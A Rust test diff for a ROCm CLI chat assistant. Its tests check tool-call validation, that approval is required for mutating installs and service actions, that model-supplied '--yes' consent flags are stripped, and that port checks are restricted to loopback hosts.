"rocm_command"); + // Both together: the strip is unconditional, so `--yes` still does not + // survive into a preview spawn, and the dry run still gains no consent. + // A model that emits both must not end up with either flag. assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), + classify(&[ + "install", + "sdk", + "--prefix", + "/tmp/therock", + "--yes", + "--dry-run", + ]), vec![ "install".to_owned(), "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), + "--prefix".to_owned(), + "/tmp/therock".to_owned(), + "--dry-run".to_owned(), ] ); - assert!(!chat_tool_call_is_read_only(&call)); } #[test] - fn fallback_tool_call_preserves_requested_therock_install_prefix() { - for (prompt, expected_prefix) in [ - ( - "install TheRock for me in D:\\ROCm\\therock_venvs", - "D:\\ROCm\\therock_venvs", - ), - ("install ROCm to D:\\ROCm\\temp", "D:\\ROCm\\temp"), - ] { - let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); - assert_eq!(call.name, "rocm_command"); + fn chat_install_sdk_strips_a_model_supplied_yes_in_both_its_bare_and_attached_forms() { + // `--yes` and `--yes=true` are both model-supplied argv that reach the + // chat arm intact: neither `canonicalize_chat_rocm_command` nor + // `validate_chat_rocm_command_safety` splits or rejects either. Whichever + // form survives re-grants into a null-stdin spawn the system-package/sudo + // consent `76c6aa3c` removed, with no terminal to answer the password + // prompt, so the strip has to catch both. + let classify = |args: &[&str]| -> Vec { + let action = chat_rocm_command_action_from_args( + args.iter().copied().map(str::to_owned).collect(), + ) + .expect("install sdk should classify"); + let ChatRocmCommandAction::Approval { args, .. } = action else { + panic!("install sdk is a mutating command"); + }; + args + }; + + // Both terms of `arg != "--yes" && !arg.starts_with("--yes=")` are driven + // here, and each alone: the bare form is caught only by the first, the + // `=` forms only by the second, so dropping either term reddens this test + // on its own rather than leaving one half to a sibling. + for supplied in ["--yes", "--yes=true", "--yes=1", "--yes=false"] { + let args = classify(&["install", "sdk", "--prefix", "/tmp/therock", supplied]); + assert!( + !args.iter().any(|arg| arg.starts_with("--yes")), + "`{supplied}` must not survive the chat strip, got {args:?}" + ); assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), + args, vec![ "install".to_owned(), "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), "--prefix".to_owned(), - expected_prefix.to_owned(), - ] + "/tmp/therock".to_owned(), + "--approve-replacing-active-default".to_owned(), + ], + "stripping `{supplied}` must leave the rest of the argv and the narrow consent alone" ); - assert!(!chat_tool_call_is_read_only(&call)); } - } - #[test] - fn fallback_tool_call_routes_requested_therock_build_date_install() { - for (prompt, expected_prefix) in [ - ( - "Install this specific TheRock wheel from date 06052026 into D:\\ROCm\\therock_venvs", - "D:\\ROCm\\therock_venvs", - ), - ( - "install ROCm at D:\\ROCm\\temp with build date 2026-06-05", - "D:\\ROCm\\temp", - ), - ] { - let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); - assert_eq!(call.name, "rocm_command"); + // Future-proofing, not a guard on the `--yes=` term this test's other + // assertions pin: `--yes-not-a-flag` survives both the exact-match strip + // that preceded that term and the two-term strip that replaced it, so it + // would pass on either. What it does catch is the next edit — widening + // the second term to `starts_with("--yes")` to "simplify" it would start + // eating every argv token that merely begins the same way, silently + // dropping arguments the model legitimately sent. + let args = classify(&[ + "install", + "sdk", + "--prefix", + "/tmp/therock", + "--yes-not-a-flag", + ]); + assert!( + args.iter().any(|arg| arg == "--yes-not-a-flag"), + "the strip must match `--yes` and `--yes=…`, not every token starting with \ + `--yes`, got {args:?}" + ); + + // Second layer, and only the second: clap also refuses an attached value + // on this flag, so even an unstripped `--yes=true` would not parse today. + // That is what the strip above deliberately stops depending on — pinned + // here so a later `num_args` on `--yes` shows up as a failure of the + // backstop rather than passing unnoticed. + for attached in ["--yes=true", "--yes=1", "--yes=false"] { + let error = match Cli::try_parse_from(["rocm", "install", "sdk", attached]) { + Ok(cli) => panic!("`{attached}` must not parse, got {cli:?}"), + Err(error) => error, + }; assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--prefix".to_owned(), - expected_prefix.to_owned(), - "--build-date".to_owned(), - "2026-06-05".to_owned(), - ], - "{prompt}" + error.kind(), + clap::error::ErrorKind::TooManyValues, + "expected clap to reject the attached value on {attached}: {error}" ); - assert!(!chat_tool_call_is_read_only(&call)); + } + + // Control: the bare form does parse, so the assertions above are about + // the `=`-form and not about `--yes` being rejected outright. + let cli = Cli::try_parse_from(["rocm", "install", "sdk", "--yes"]) + .expect("the bare flag is the form the chat arm strips"); + match cli.command { + Some(Command::Install { + target: InstallTarget::Sdk { yes, .. }, + }) => assert!(yes), + other => panic!("expected `install sdk`, got {other:?}"), } } #[test] - fn fallback_tool_call_does_not_install_therock_without_folder() { - let call = fallback_rocm_tool_call_for_prompt( - "Install this specific TheRock wheel from date 06052026", - ) - .unwrap(); - assert_eq!(call.name, "rocm_command"); + fn chat_tool_call_mutating_install_accepts_requested_build_date() { + let call = providers::ChatToolCall { + id: Some("call-date".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["install", "sdk", "--channel", "release", "--format", "wheel", "--prefix", "D:\\ROCm\\therock_venvs", "--build-date", "06052026"], + "reason": "The user asked for the TheRock build from 2026-06-05." + }), + }; + + validate_chat_tool_call(&call).expect("date-specific install should validate for review"); + assert!(!chat_tool_call_is_read_only(&call)); assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), + rocm_chat_tool_requested_command(&call).as_deref(), + Some( + "rocm install sdk --channel release --format wheel --prefix D:\\ROCm\\therock_venvs --build-date 06052026 --approve-replacing-active-default" + ) + ); + let approval = + chat_tool_approval_request(&call, Some("Install the requested TheRock build.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Install ROCm"); + assert_eq!( + approval.args, vec![ "install".to_owned(), "sdk".to_owned(), @@ -28158,6459 +22939,6191 @@ model recipes "release".to_owned(), "--format".to_owned(), "wheel".to_owned(), + "--prefix".to_owned(), + "D:\\ROCm\\therock_venvs".to_owned(), "--build-date".to_owned(), - "2026-06-05".to_owned(), + "06052026".to_owned(), + "--approve-replacing-active-default".to_owned(), ] ); - assert!(!chat_tool_call_is_read_only(&call)); } #[test] - fn chat_install_intent_without_folder_uses_folder_picker_not_rocm_check() -> Result<()> { - let (_root, paths) = test_paths("chat-install-intent-folder-picker"); - for prompt in [ - "i need to install rocm", - "How do I setup TheRock?", - "install therock", - "How do I get it to install therock?", - "rocm please", - "make my AMD GPU ready", - "get TheRock installed for local AI", - "set up my AMD GPU for local AI", - "install this specific TheRock wheel from date 06052026", + fn chat_tool_call_rejects_mutating_install_without_user_folder() { + let structured = providers::ChatToolCall { + id: Some("call-missing-prefix".to_owned()), + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ + "channel": "release", + "format": "wheel" + }), + }; + let error = validate_chat_tool_call(&structured) + .unwrap_err() + .to_string(); + assert!(error.contains("ask the user"), "unexpected error: {error}"); + + let command = providers::ChatToolCall { + id: Some("call-command-missing-prefix".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["install", "sdk", "--channel", "release", "--format", "wheel"], + "reason": "Install ROCm." + }), + }; + let error = validate_chat_tool_call(&command).unwrap_err().to_string(); + assert!(error.contains("ask the user"), "unexpected error: {error}"); + } + + #[test] + fn chat_tool_call_service_and_watcher_changes_map_to_reviewable_rocm_commands() { + let stop = providers::ChatToolCall { + id: Some("call-stop".to_owned()), + name: "stop_server".to_owned(), + arguments: serde_json::json!({ "service_id": "svc-qwen" }), + }; + validate_chat_tool_call(&stop).expect("stop request should validate for review"); + assert_eq!( + rocm_chat_tool_requested_command(&stop).as_deref(), + Some("rocm services stop svc-qwen --yes") + ); + let approval = + chat_tool_approval_request(&stop, Some("This server is using memory we need.")) + .expect("stop approval should be built"); + assert_eq!(approval.pending_title, "Stop local model server"); + assert_eq!(approval.command_title, "Services"); + assert_eq!( + approval.args, + vec![ + "services".to_owned(), + "stop".to_owned(), + "svc-qwen".to_owned(), + "--yes".to_owned(), + ] + ); + assert_eq!( + approval.explanation.as_deref(), + Some("This server is using memory we need.") + ); + + let enable = providers::ChatToolCall { + id: Some("call-watch".to_owned()), + name: "watcher_enable".to_owned(), + arguments: serde_json::json!({ + "watcher": "server-recover", + "mode": "propose" + }), + }; + validate_chat_tool_call(&enable).expect("watcher enable should validate for review"); + assert_eq!( + rocm_chat_tool_requested_command(&enable).as_deref(), + Some("rocm automations enable server-recover --mode propose") + ); + let approval = + chat_tool_approval_request(&enable, Some("Recovering failed servers would help.")) + .expect("watcher approval should be built"); + assert_eq!(approval.pending_title, "Enable automation"); + assert_eq!(approval.command_title, "Automations"); + assert_eq!( + approval.args, + vec![ + "automations".to_owned(), + "enable".to_owned(), + "server-recover".to_owned(), + "--mode".to_owned(), + "propose".to_owned(), + ] + ); + + let disable = providers::ChatToolCall { + id: Some("call-disable".to_owned()), + name: "watcher_disable".to_owned(), + arguments: serde_json::json!({ "watcher": "server-recover" }), + }; + validate_chat_tool_call(&disable).expect("watcher disable should validate for review"); + assert_eq!( + rocm_chat_tool_requested_command(&disable).as_deref(), + Some("rocm automations disable server-recover") + ); + } + + #[test] + fn proposal_action_rejects_over_long_proposal_id() { + let call = providers::ChatToolCall { + id: None, + name: "proposal_action".to_owned(), + arguments: serde_json::json!({ + "proposal_id": "p".repeat(129), + "action": "show" + }), + }; + let err = validate_chat_proposal_action_tool_call(&call) + .expect_err("over-long proposal_id must be rejected"); + assert!(err.to_string().contains("proposal_id too long")); + } + + #[test] + fn chat_tool_call_accepts_expanded_read_only_bridge_tools() { + for call in [ + providers::ChatToolCall { + id: None, + name: "bridge_snapshot".to_owned(), + arguments: serde_json::json!({}), + }, + providers::ChatToolCall { + id: None, + name: "service_logs".to_owned(), + arguments: serde_json::json!({ + "service_id": "svc-qwen", + "lines": 120 + }), + }, + providers::ChatToolCall { + id: None, + name: "automations".to_owned(), + arguments: serde_json::json!({ "event_limit": 12 }), + }, + providers::ChatToolCall { + id: None, + name: "natural_language_plan".to_owned(), + arguments: serde_json::json!({ "request": "check whether ROCm needs an update" }), + }, + providers::ChatToolCall { + id: None, + name: "port_status".to_owned(), + arguments: serde_json::json!({ "host": "127.0.0.1", "port": 8188 }), + }, + providers::ChatToolCall { + id: None, + name: "update_check".to_owned(), + arguments: serde_json::json!({}), + }, ] { - let result = render_chat_prompt_result(&paths, "local", None, prompt, true)?; - let approval = result - .approval - .as_ref() - .expect("install should need folder"); - assert_eq!(approval.pending_title, "Install ROCm", "{prompt}"); - assert_eq!( - approval.args[..6], - [ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - ], - "{prompt}" - ); - assert!( - !approval.args.iter().any(|arg| arg == "--prefix"), - "{prompt}" - ); - assert!( - result.rendered.contains("First choose the folder"), - "{prompt}: {}", - result.rendered - ); + validate_chat_tool_call(&call).expect("read-only bridge tool should validate"); assert!( - !result.rendered.contains("I checked ROCm"), - "{prompt}: {}", - result.rendered + chat_tool_call_is_read_only(&call), + "{} should be read-only", + call.name ); + } + } + + #[test] + fn local_assistant_prompt_instructions_cover_core_support_questions() { + let prompt = rocm_chat_tool_system_prompt(); + for expected in [ + "is TheRock installed", + "which GPU is on this machine", + "active_runtime_status=ready", + "legacy_rocm_status=not_detected", + "[\"model\"]", + "--build-date", + "always let the user choose the install folder", + "--prefix", + "do not invent a hidden default folder", + "config", + "comfyui", + "First-time setup is the same thing as bootstrap", + "vllm", + "Qwen3-4B-Instruct-2507-GGUF", + "fixed to qwen", + "served by Lemonade", + "port_status", + "[\"services\",\"list\",\"--all\"]", + "qwen-smoke", + "Do not invent shell commands", + "ROCm CLI Assistant Skill", + "Treat `localhost` and `127.0.0.1` as the same loopback endpoint", + ] { assert!( - !result.rendered.contains("ROCm CLI summary"), - "{prompt}: {}", - result.rendered - ); - if prompt.contains("06052026") { - assert!(approval.args.contains(&"--build-date".to_owned())); - assert!(approval.args.contains(&"2026-06-05".to_owned())); - } + prompt.contains(expected), + "system prompt should mention {expected}" + ); } - Ok(()) } + /// The reported bug: asked "What can ROCm do on Windows?", the assistant + /// answered that ROCm is Windows-incompatible and suggested CUDA/DirectX — + /// because nothing ever told it which machine it was on. The prompt the CLI + /// actually sends must carry the host. #[test] - fn chat_install_intent_ignores_old_conversation_words() -> Result<()> { - let (_root, paths) = test_paths("chat-install-intent-latest-message"); - let prompt = "\ -Conversation so far: -Assistant: Use /examine to refresh actual GPU memory fit before starting anything large. -Assistant: Native Windows note: models may use WSL/Linux through Windows. - -New message: -install therock"; - - let result = render_chat_prompt_result(&paths, "local", None, prompt, true)?; - let approval = result - .approval - .as_ref() - .expect("direct latest install request should need a folder"); + fn assistant_prompt_states_the_host_it_is_answering_for() { + let prompt = rocm_chat_tool_system_prompt_for_host(None); - assert_eq!(approval.pending_title, "Install ROCm"); - assert!(!approval.args.iter().any(|arg| arg == "--prefix")); - assert!(result.rendered.contains("I can install ROCm/TheRock")); - assert!(result.rendered.contains("First choose the folder")); - assert!(!result.rendered.contains("I checked ROCm")); - assert!(!result.rendered.contains("ROCm CLI summary")); - Ok(()) - } + // The tool-use rules survive the composition (this is the same prompt, + // grounded — not a replacement for it). + assert!( + prompt.contains("You are ROCm CLI's local assistant"), + "the ROCm tool-use prompt must still be there:\n{prompt}" + ); - #[test] - fn chat_how_to_setup_question_opens_install_folder_flow() { + // …and it now names this machine's OS and GPU state. + let expected_os = if cfg!(windows) { + "- Operating system: Windows" + } else { + "- Operating system: Linux" + }; assert!( - install_sdk_without_prefix_chat_approval("How do I setup TheRock?").is_some(), - "a setup question should ask for the install folder" + prompt.contains(expected_os), + "the prompt must state this machine's operating system:\n{prompt}" ); assert!( - install_sdk_without_prefix_chat_approval("install therock").is_some(), - "a direct install command should open the folder picker" + prompt.contains("- AMD GPU: "), + "the prompt must state what GPU was detected (or that none was):\n{prompt}" + ); + assert!( + prompt.contains("Never tell the user ROCm is unavailable on their platform"), + "the prompt must refuse the reported answer:\n{prompt}" ); } + /// The static prompt asserted two Windows-only facts at every host, which is + /// how a WSL user — where vLLM IS the supported path — was told to go use + /// WSL. Platform claims now come from the detected facts instead. #[test] - fn chat_install_intent_preserves_bare_folder_path() { - let approval = - install_sdk_chat_approval_for_prompt("install therock D:\\ROCm\\therock_venvs") - .expect("direct install prompt should be recognized"); - - assert_eq!( - approval.args, - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--prefix".to_owned(), - "D:\\ROCm\\therock_venvs".to_owned(), - ] + fn assistant_prompt_makes_no_unconditional_windows_claims() { + let prompt = rocm_chat_tool_system_prompt(); + assert!( + !prompt.contains("non-technical Windows users"), + "the audience is not assumed to be on Windows:\n{prompt}" + ); + assert!( + !prompt.contains("On native Windows, vLLM is skipped"), + "the vLLM caveat belongs in the host facts, not the static prompt:\n{prompt}" ); - } - #[test] - fn fallback_tool_call_routes_requested_therock_exact_version_install() { - let call = fallback_rocm_tool_call_for_prompt( - "Install the TheRock ROCm wheel version 7.13.0a20260605 into D:\\ROCm\\therock_venvs", - ) - .unwrap(); - assert_eq!(call.name, "rocm_command"); + // Stated only where it is true: present on Windows, absent elsewhere. + let grounded = rocm_chat_tool_system_prompt_for_host(None); assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--prefix".to_owned(), - "D:\\ROCm\\therock_venvs".to_owned(), - "--version".to_owned(), - "7.13.0a20260605".to_owned(), - ] + grounded.contains("vLLM is skipped on native Windows"), + cfg!(windows), + "the vLLM caveat must track the host:\n{grounded}" ); - assert!(!chat_tool_call_is_read_only(&call)); } + /// The prompt tells the model to "use examine … before answering". The dash + /// registers its machine check as `doctor`, so before the alias that + /// sentence named a tool absent from the dash's schema. #[test] - fn path_exists_chat_tool_is_read_only() { - let call = providers::ChatToolCall { - id: Some("path-check".to_owned()), - name: "path_exists".to_owned(), - arguments: serde_json::json!({ "path": "D:\\ROCm\\temp" }), - }; - - validate_chat_tool_call(&call).unwrap(); - assert!(chat_tool_call_is_read_only(&call)); + fn every_tool_the_prompt_names_exists_in_the_dash_schema() { + let prompt = rocm_chat_tool_system_prompt(); + for named in [ + "examine", + "gpu_snapshot", + "port_status", + "natural_language_plan", + ] { + assert!(prompt.contains(named), "prompt should mention {named}"); + assert!( + rocm_dash_tui::agent::ROCM_READ_TOOL_NAMES.contains(&named), + "the prompt names `{named}` but the dash never registers it, so a \ + model that obeys the prompt calls a tool the schema does not offer" + ); + } } #[test] - fn port_status_chat_tool_is_read_only_and_loopback_only() { - let call = providers::ChatToolCall { - id: Some("port-check".to_owned()), - name: "port_status".to_owned(), - arguments: serde_json::json!({ "host": "127.0.0.1", "port": 8188 }), - }; - - validate_chat_tool_call(&call).unwrap(); - assert!(chat_tool_call_is_read_only(&call)); + fn deterministic_rocm_tool_summary_interprets_managed_runtime_as_installed() { + let summary = deterministic_rocm_tool_summary( + "\ +examine: + driver_detail: AMD Radeon RX 9070 XT driver 32.0.23033.1002 + legacy_rocm_status: not_detected +runtime_state: + active_runtime_status: ready + active_runtime_root: D:\\ROCm\\therock_venvs + active_runtime_pip_cache_dir: D:\\ROCm\\therock_venvs\\pip-cache + active_runtime_version: 7.13.0a20260511 (build 2026-05-11) + active_runtime_family: gfx120X-all +", + ) + .expect("examine output should summarize"); - let public = providers::ChatToolCall { - id: Some("public-port-check".to_owned()), - name: "port_status".to_owned(), - arguments: serde_json::json!({ "host": "192.168.1.10", "port": 8188 }), - }; - let error = validate_chat_tool_call(&public).unwrap_err().to_string(); - assert!(error.contains("non-local host"), "{error}"); + assert!(summary.contains("GPU: AMD Radeon RX 9070 XT driver 32.0.23033.1002")); + assert!(summary.contains("ROCm/TheRock: installed and active for ROCm CLI")); + assert!(summary.contains("gfx120X-all")); + assert!(summary.contains(r"Install folder: D:\ROCm\therock_venvs")); + assert!(summary.contains(r"Downloads/cache: D:\ROCm\therock_venvs\pip-cache")); + assert!(summary.contains("no global legacy ROCm install was found")); } #[test] - fn port_status_matches_loopback_managed_services() -> Result<()> { - let (root, paths) = test_paths("port-status-loopback"); - paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "svc-comfyui", - "comfyui", - "ComfyUI", - "ComfyUI", - "127.0.0.1", - 18188, - "managed", - std::process::id(), - Some("therock-release".to_owned()), - None, - Some("gpu_required".to_owned()), - ); - record.status = "ready".to_owned(); - record.write()?; - - let call = providers::ChatToolCall { - id: Some("port-check".to_owned()), - name: "port_status".to_owned(), - arguments: serde_json::json!({ "host": "localhost", "port": 18188 }), - }; - let result = run_chat_port_status_tool(&paths, &call)?; - let text = mcp_tool_result_text(&result); - let managed_service_count = result - .get("structuredContent") - .and_then(|content| content.get("managed_services")) - .and_then(serde_json::Value::as_array) - .map_or(0, Vec::len); - let _ = fs::remove_dir_all(root); - - assert_eq!(managed_service_count, 1); - assert!(text.contains("managed_services:"), "{text}"); - assert!(text.contains("service_id=svc-comfyui"), "{text}"); - assert!(text.contains("running_state=starting"), "{text}"); - Ok(()) + fn fallback_tool_call_routes_where_installed_to_read_only_examine() { + for prompt in [ + "where is rocm installed?", + "where is TheRock installed?", + "what is the ROCm install folder?", + "where did rocm install to?", + ] { + let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); + assert_eq!(call.name, "examine", "{prompt}"); + assert!(chat_tool_call_is_read_only(&call), "{prompt}"); + } } #[test] - fn fallback_tool_call_routes_simple_config_changes() { - let show = fallback_rocm_tool_call_for_prompt("Show current ROCm CLI config").unwrap(); - assert_eq!( - normalized_chat_rocm_command_args(&show).unwrap(), - vec!["config".to_owned(), "show".to_owned()] - ); - assert!(chat_tool_call_is_read_only(&show)); + fn deterministic_rocm_tool_summary_suppresses_extra_local_model_follow_up() { + let tool_result = ChatToolRunResult { + approval: None, + follow_up_text: "\ +examine: + legacy_rocm_status: not_detected +runtime_state: + active_runtime_status: ready +" + .to_owned(), + ran_read_only_tool: true, + read_only_tool_error: false, + needs_install_folder: false, + }; + let summary = deterministic_rocm_tool_summary(&tool_result.follow_up_text); - let engine = fallback_rocm_tool_call_for_prompt("Set the default engine to vllm").unwrap(); - assert_eq!( - normalized_chat_rocm_command_args(&engine).unwrap(), - vec![ - "config".to_owned(), - "set-default-engine".to_owned(), - "vllm".to_owned(), - ] - ); - assert!(!chat_tool_call_is_read_only(&engine)); + assert!(summary.is_some()); + assert!(!should_request_local_tool_follow_up( + "local", + &tool_result, + summary.as_deref() + )); - let telemetry = - fallback_rocm_tool_call_for_prompt("Disable telemetry in settings").unwrap(); - assert_eq!( - normalized_chat_rocm_command_args(&telemetry).unwrap(), - vec![ - "config".to_owned(), - "set-telemetry".to_owned(), - "off".to_owned(), - ] - ); - assert!(!chat_tool_call_is_read_only(&telemetry)); + let mut model_list_result = tool_result; + model_list_result.follow_up_text = "rocm_command:\nmodel recipes\n qwen\n".to_owned(); + assert!(should_request_local_tool_follow_up( + "local", + &model_list_result, + None + )); } #[test] - fn fallback_tool_call_routes_comfyui_support_and_actions() { - let status = fallback_rocm_tool_call_for_prompt("How do I setup ComfyUI?").unwrap(); - assert_eq!(status.name, "rocm_command"); - assert_eq!( - normalized_chat_rocm_command_args(&status).unwrap(), - vec!["comfyui".to_owned(), "status".to_owned()] - ); - assert!(chat_tool_call_is_read_only(&status)); - - let install = fallback_rocm_tool_call_for_prompt("Can you setup ComfyUI for me?").unwrap(); - assert_eq!( - normalized_chat_rocm_command_args(&install).unwrap(), - vec!["comfyui".to_owned(), "install".to_owned()] - ); - assert!(!chat_tool_call_is_read_only(&install)); - let approval = - chat_tool_approval_request(&install, Some("Install ComfyUI after approval.")).unwrap(); - assert_eq!(approval.pending_title, "Install ComfyUI"); - - let start = fallback_rocm_tool_call_for_prompt("Can you start ComfyUI?").unwrap(); - assert_eq!( - normalized_chat_rocm_command_args(&start).unwrap(), - vec!["comfyui".to_owned(), "start".to_owned()] - ); - assert!(!chat_tool_call_is_read_only(&start)); - let approval = - chat_tool_approval_request(&start, Some("Start ComfyUI after approval.")).unwrap(); - assert_eq!(approval.pending_title, "Start ComfyUI"); - } + fn deterministic_model_tool_summary_identifies_low_vram_assistant() { + let summary = deterministic_model_tool_summary( + "\ +rocm_command: +model recipes + Qwen3-4B-Instruct-2507-GGUF aliases=[qwen, lemonade-qwen] task=chat dtype=gguf device=gpu_required min_gpu_mem=4 GiB engines=[lemonade] + engine_support: + lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe + warning: recommended Lemonade GGUF assistant for ROCm machines + Qwen3-0.6B-GGUF aliases=[qwen-smoke, lemonade-tiny] task=chat dtype=gguf device=gpu_required min_gpu_mem=2 GiB engines=[lemonade] + engine_support: + lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe + warning: tiny Lemonade GGUF smoke-test model; not the default assistant + Qwen/Qwen2.5-0.5B-Instruct aliases=[qwen-tiny] task=chat dtype=float16 device=gpu_required min_gpu_mem=4 GiB engines=[lemonade] + engine_support: + lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe + Qwen/Qwen3.5-4B aliases=[qwen3.5] task=chat dtype=bfloat16 device=gpu_preferred min_gpu_mem=12 GiB engines=[vllm] + engine_support: + vllm: adapter_available path=D:\\rocm\\rocm-engine-vllm.exe runtime_status=unsupported_native_windows reason=native Windows skipped; use WSL/Linux vLLM ROCm + meta-llama/Llama-3.2-3B-Instruct aliases=[llama] task=chat dtype=bfloat16 device=gpu_preferred min_gpu_mem=8 GiB engines=[lemonade, vllm] + engine_support: + lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe + vllm: available path=D:\\rocm\\rocm-engine-vllm.exe +", + ) + .expect("model output should summarize"); - #[test] - fn fallback_tool_call_routes_local_llm_serve_requests() { - let call = - fallback_rocm_tool_call_for_prompt("Can you setup and serve an LLM for me?").unwrap(); - assert_eq!(call.name, "rocm_command"); - assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec![ - "serve".to_owned(), - "qwen".to_owned(), - "--engine".to_owned(), - "lemonade".to_owned(), - "--device".to_owned(), - "gpu_required".to_owned(), - "--managed".to_owned(), - ] - ); - assert!(!chat_tool_call_is_read_only(&call)); - let approval = - chat_tool_approval_request(&call, Some("Start qwen after approval.")).unwrap(); - assert_eq!(approval.pending_title, "Start local model server"); - assert_eq!( - rocm_chat_tool_requested_command(&call).as_deref(), - Some("rocm serve qwen --engine lemonade --device gpu_required --managed") - ); + assert!(summary.contains("Recommended local assistant: qwen")); + assert!(summary.contains("Qwen3-4B-Instruct-2507-GGUF")); + assert!(summary.contains("4 GiB")); + assert!(summary.contains("Tiny smoke test: qwen-smoke")); + assert!(summary.contains("Qwen3-0.6B-GGUF")); + assert!(summary.contains("8 GiB-class option: llama")); + assert!(summary.contains("lemonade, vllm")); + assert!(summary.contains("Qwen/Qwen3.5-4B asks for 12 GiB")); + assert!(summary.contains("Native Windows note")); + assert!(summary.contains("Run `rocm examine`")); } #[test] - fn local_chat_tool_call_content_is_treated_as_intermediate() { - let response = providers::ChatResponse { - provider: "local".to_owned(), - model: "Qwen/Qwen3-0.6B".to_owned(), - content: "The active runtime root is /opt/rocm.".to_owned(), - tool_calls: vec![providers::ChatToolCall { - id: Some("call-1".to_owned()), - name: "examine".to_owned(), - arguments: serde_json::json!({}), - }], + fn deterministic_model_tool_summary_suppresses_extra_local_model_follow_up() { + let tool_result = ChatToolRunResult { + approval: None, + follow_up_text: "\ +rocm_command: +model recipes + Qwen3-4B-Instruct-2507-GGUF aliases=[qwen] task=chat dtype=gguf device=gpu_required min_gpu_mem=4 GiB engines=[lemonade] + engine_support: + lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe +" + .to_owned(), + ran_read_only_tool: true, + read_only_tool_error: false, + needs_install_folder: false, }; + let summary = deterministic_chat_tool_summary(&tool_result.follow_up_text); - assert!(local_tool_call_content_is_intermediate( - "local", true, &response - )); - assert!(!local_tool_call_content_is_intermediate( - "openai", true, &response - )); - assert!(!local_tool_call_content_is_intermediate( - "local", false, &response - )); - - let without_tools = providers::ChatResponse { - tool_calls: Vec::new(), - ..response - }; - assert!(!local_tool_call_content_is_intermediate( + assert!(summary.is_some()); + assert!(!should_request_local_tool_follow_up( "local", - true, - &without_tools + &tool_result, + summary.as_deref() )); } #[test] - fn local_chat_follow_up_with_tool_call_is_not_final_answer() { - let response = providers::ChatResponse { - provider: "local".to_owned(), - model: "Qwen/Qwen3-0.6B".to_owned(), - content: "The runtime root is /opt/rocml.".to_owned(), - tool_calls: vec![providers::ChatToolCall { - id: Some("call-2".to_owned()), - name: "examine".to_owned(), - arguments: serde_json::json!({}), - }], - }; - - assert!(!local_follow_up_content_is_final(&response)); - - let final_answer = providers::ChatResponse { - tool_calls: Vec::new(), - content: "The runtime root is D:\\ROCm\\therock_venvs.".to_owned(), - ..response - }; - assert!(local_follow_up_content_is_final(&final_answer)); + fn chat_tool_call_accepts_assistant_support_command_shapes() { + for (call, expected_command, read_only) in [ + ( + providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ "args": ["examine"] }), + }, + Some("rocm examine"), + true, + ), + ( + providers::ChatToolCall { + id: None, + name: "gpu_snapshot".to_owned(), + arguments: serde_json::json!({}), + }, + None, + true, + ), + ( + providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ "args": ["model"] }), + }, + Some("rocm model"), + true, + ), + ( + providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ + "channel": "release", + "format": "wheel", + "prefix": "D:\\ROCm\\therock_venvs" + }), + }, + Some( + "rocm install sdk --channel release --format wheel --approve-replacing-active-default --prefix D:\\ROCm\\therock_venvs", + ), + false, + ), + ( + providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ "args": ["comfyui", "install"] }), + }, + Some("rocm comfyui install --yes"), + false, + ), + ( + providers::ChatToolCall { + id: None, + name: "launch_server".to_owned(), + arguments: serde_json::json!({ + "model": "qwen", + "engine": "vllm", + "device": "gpu_required" + }), + }, + Some("rocm serve qwen --managed --engine vllm --device gpu_required"), + false, + ), + ] { + validate_chat_tool_call(&call).expect("assistant support tool should validate"); + assert_eq!( + chat_tool_call_is_read_only(&call), + read_only, + "{}", + call.name + ); + if let Some(expected_command) = expected_command { + assert_eq!( + rocm_chat_tool_requested_command(&call).as_deref(), + Some(expected_command) + ); + } + } } #[test] - fn visible_chat_content_removes_reasoning_blocks() { + fn chat_rocm_command_routes_comfyui_and_engine_actions() { + let comfy_install = providers::ChatToolCall { + id: Some("call-comfy".to_owned()), + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["comfyui", "install"], + "reason": "The user asked me to install ComfyUI." + }), + }; + validate_chat_tool_call(&comfy_install).expect("ComfyUI install should validate"); + assert!(!chat_tool_call_is_read_only(&comfy_install)); assert_eq!( - visible_chat_content( - "\nchecking the tool output\n\nThe runtime root is D:\\ROCm\\temp." - ), - "The runtime root is D:\\ROCm\\temp." + rocm_chat_tool_requested_command(&comfy_install).as_deref(), + Some("rocm comfyui install --yes") ); + let approval = chat_tool_approval_request(&comfy_install, Some("Install ComfyUI now.")) + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Install ComfyUI"); + 